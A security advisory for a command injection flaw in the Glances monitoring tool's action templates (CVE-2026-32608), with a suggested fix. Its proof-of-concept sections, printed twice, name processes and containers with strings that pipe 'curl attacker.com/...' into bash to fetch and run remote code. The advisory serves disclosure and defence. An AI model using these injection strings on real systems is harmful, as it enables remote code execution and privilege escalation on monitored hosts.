GHSA-VCV2-Q258-WRG7
Vulnerability from github – Published: 2026-03-16 16:26 – Updated: 2026-03-19 21:05Summary
The Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., {{name}}, {{key}}) that are populated with runtime monitoring data. The secure_popen() function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to subprocess.Popen(shell=False). When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.
Details
The action execution flow:
- Admin configures an action in glances.conf (documented feature):
[cpu]
critical_action=echo "High CPU on {{name}}" | mail admin@example.com
- When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):
self.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)
-
The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).
-
In glances/actions.py:77-78, the Mustache library renders the template:
if chevron_tag:
cmd_full = chevron.render(cmd, mustache_dict)
- The rendered command is passed to secure_popen() (glances/actions.py:84):
ret = secure_popen(cmd_full)
The secure_popen vulnerability (glances/secure.py:17-30):
def secure_popen(cmd):
ret = ""
for c in cmd.split("&&"):
ret += __secure_popen(c)
return ret
And __secure_popen() (glances/secure.py:33-77) splits by > and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by &&, >, and | characters, then executes each segment as a separate subprocess.
Additionally, the redirect handler at line 69-72 writes to arbitrary file paths:
if stdout_redirect is not None:
with open(stdout_redirect, "w") as stdout_redirect_file:
stdout_redirect_file.write(ret)
PoC
Scenario 1: Command injection via pipe in process name
# 1. Admin configures processlist action in glances.conf:
# [processlist]
# critical_action=echo "ALERT: {{name}} used {{cpu_percent}}% CPU" >> /tmp/alerts.log
# 2. Attacker creates a process with a crafted name containing a pipe:
cp /bin/sleep "/tmp/innocent|curl attacker.com/evil.sh|bash"
"/tmp/innocent|curl attacker.com/evil.sh|bash" 9999 &
# 3. When the process triggers a critical alert, secure_popen splits by |:
# Command 1: echo "ALERT: innocent
# Command 2: curl attacker.com/evil.sh <-- INJECTED
# Command 3: bash used 99% CPU" >> /tmp/alerts.log
Scenario 2: Command chain via && in container name
# 1. Admin configures containers action:
# [containers]
# critical_action=docker stats {{name}} --no-stream
# 2. Attacker names a Docker container with && injection:
docker run --name "web && curl attacker.com/rev.sh | bash && echo " nginx
# 3. secure_popen splits by &&:
# Command 1: docker stats web
# Command 2: curl attacker.com/rev.sh | bash <-- INJECTED
# Command 3: echo --no-stream
Impact
-
Arbitrary command execution: An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).
-
Privilege escalation: If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.
-
Arbitrary file write: The > redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.
-
Preconditions: Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.
Recommended Fix
Sanitize Mustache-rendered values before secure_popen processes them:
# glances/actions.py
def _escape_for_secure_popen(value):
"""Escape characters that secure_popen treats as operators."""
if not isinstance(value, str):
return value
value = value.replace("&&", " ")
value = value.replace("|", " ")
value = value.replace(">", " ")
return value
def run(self, stat_name, criticality, commands, repeat, mustache_dict=None):
for cmd in commands:
if chevron_tag:
if mustache_dict:
safe_dict = {
k: _escape_for_secure_popen(v) if isinstance(v, str) else v
for k, v in mustache_dict.items()
}
else:
safe_dict = mustache_dict
cmd_full = chevron.render(cmd, safe_dict)
else:
cmd_full = cmd
...
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Glances"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.5.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-32608"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-16T16:26:22Z",
"nvd_published_at": "2026-03-18T07:16:21Z",
"severity": "HIGH"
},
"details": "## Summary\n\nThe Glances action system allows administrators to configure shell commands that execute when monitoring thresholds are exceeded. These commands support Mustache template variables (e.g., `{{name}}`, `{{key}}`) that are populated with runtime monitoring data. The `secure_popen()` function, which executes these commands, implements its own pipe, redirect, and chain operator handling by splitting the command string before passing each segment to `subprocess.Popen(shell=False)`. When a Mustache-rendered value (such as a process name, filesystem mount point, or container name) contains pipe, redirect, or chain metacharacters, the rendered command is split in unintended ways, allowing an attacker who controls a process name or container name to inject arbitrary commands.\n\n## Details\n\n**The action execution flow:**\n\n1. Admin configures an action in glances.conf (documented feature):\n\n```ini\n[cpu]\ncritical_action=echo \"High CPU on {{name}}\" | mail admin@example.com\n```\n\n2. When the threshold is exceeded, the plugin model renders the template with runtime stats (glances/plugins/plugin/model.py:943):\n\n```python\nself.actions.run(stat_name, trigger, command, repeat, mustache_dict=mustache_dict)\n```\n\n3. The mustache_dict contains the full stat dictionary, including user-controllable fields like process name, filesystem mnt_point, container name, etc. (glances/plugins/plugin/model.py:920-943).\n\n4. In glances/actions.py:77-78, the Mustache library renders the template:\n\n```python\nif chevron_tag:\n cmd_full = chevron.render(cmd, mustache_dict)\n```\n\n5. The rendered command is passed to secure_popen() (glances/actions.py:84):\n\n```python\nret = secure_popen(cmd_full)\n```\n\n**The secure_popen vulnerability** (glances/secure.py:17-30):\n\n```python\ndef secure_popen(cmd):\n ret = \"\"\n for c in cmd.split(\"\u0026\u0026\"):\n ret += __secure_popen(c)\n return ret\n```\n\nAnd __secure_popen() (glances/secure.py:33-77) splits by \u003e and | then calls Popen(sub_cmd_split, shell=False) for each segment. The function splits the ENTIRE command string (including Mustache-rendered user data) by \u0026\u0026, \u003e, and | characters, then executes each segment as a separate subprocess.\n\nAdditionally, the redirect handler at line 69-72 writes to arbitrary file paths:\n\n```python\nif stdout_redirect is not None:\n with open(stdout_redirect, \"w\") as stdout_redirect_file:\n stdout_redirect_file.write(ret)\n```\n\n## PoC\n\n**Scenario 1: Command injection via pipe in process name**\n\n```bash\n# 1. Admin configures processlist action in glances.conf:\n# [processlist]\n# critical_action=echo \"ALERT: {{name}} used {{cpu_percent}}% CPU\" \u003e\u003e /tmp/alerts.log\n\n# 2. Attacker creates a process with a crafted name containing a pipe:\ncp /bin/sleep \"/tmp/innocent|curl attacker.com/evil.sh|bash\"\n\"/tmp/innocent|curl attacker.com/evil.sh|bash\" 9999 \u0026\n\n# 3. When the process triggers a critical alert, secure_popen splits by |:\n# Command 1: echo \"ALERT: innocent\n# Command 2: curl attacker.com/evil.sh \u003c-- INJECTED\n# Command 3: bash used 99% CPU\" \u003e\u003e /tmp/alerts.log\n```\n\n**Scenario 2: Command chain via \u0026\u0026 in container name**\n\n```bash\n# 1. Admin configures containers action:\n# [containers]\n# critical_action=docker stats {{name}} --no-stream\n\n# 2. Attacker names a Docker container with \u0026\u0026 injection:\ndocker run --name \"web \u0026\u0026 curl attacker.com/rev.sh | bash \u0026\u0026 echo \" nginx\n\n# 3. secure_popen splits by \u0026\u0026:\n# Command 1: docker stats web\n# Command 2: curl attacker.com/rev.sh | bash \u003c-- INJECTED\n# Command 3: echo --no-stream\n```\n\n## Impact\n\n- **Arbitrary command execution:** An attacker who can control a process name, container name, filesystem mount point, or other monitored entity name can execute arbitrary commands as the Glances process user (often root).\n\n- **Privilege escalation:** If Glances runs as root (common for full system monitoring), a low-privileged user who can create processes can escalate to root.\n\n- **Arbitrary file write:** The \u003e redirect handling in secure_popen enables writing arbitrary content to arbitrary file paths.\n\n- **Preconditions:** Requires admin-configured action templates referencing user-controllable fields + attacker ability to run processes on monitored system.\n\n## Recommended Fix\n\nSanitize Mustache-rendered values before secure_popen processes them:\n\n```python\n# glances/actions.py\n\ndef _escape_for_secure_popen(value):\n \"\"\"Escape characters that secure_popen treats as operators.\"\"\"\n if not isinstance(value, str):\n return value\n value = value.replace(\"\u0026\u0026\", \" \")\n value = value.replace(\"|\", \" \")\n value = value.replace(\"\u003e\", \" \")\n return value\n\ndef run(self, stat_name, criticality, commands, repeat, mustache_dict=None):\n for cmd in commands:\n if chevron_tag:\n if mustache_dict:\n safe_dict = {\n k: _escape_for_secure_popen(v) if isinstance(v, str) else v\n for k, v in mustache_dict.items()\n }\n else:\n safe_dict = mustache_dict\n cmd_full = chevron.render(cmd, safe_dict)\n else:\n cmd_full = cmd\n ...\n```",
"id": "GHSA-vcv2-q258-wrg7",
"modified": "2026-03-19T21:05:21Z",
"published": "2026-03-16T16:26:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/security/advisories/GHSA-vcv2-q258-wrg7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-32608"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/commit/6f4ec53d967478e69917078e6f73f448001bf107"
},
{
"type": "PACKAGE",
"url": "https://github.com/nicolargo/glances"
},
{
"type": "WEB",
"url": "https://github.com/nicolargo/glances/releases/tag/v4.5.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Glances has a Command Injection via Process Names in Action Command Templates"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.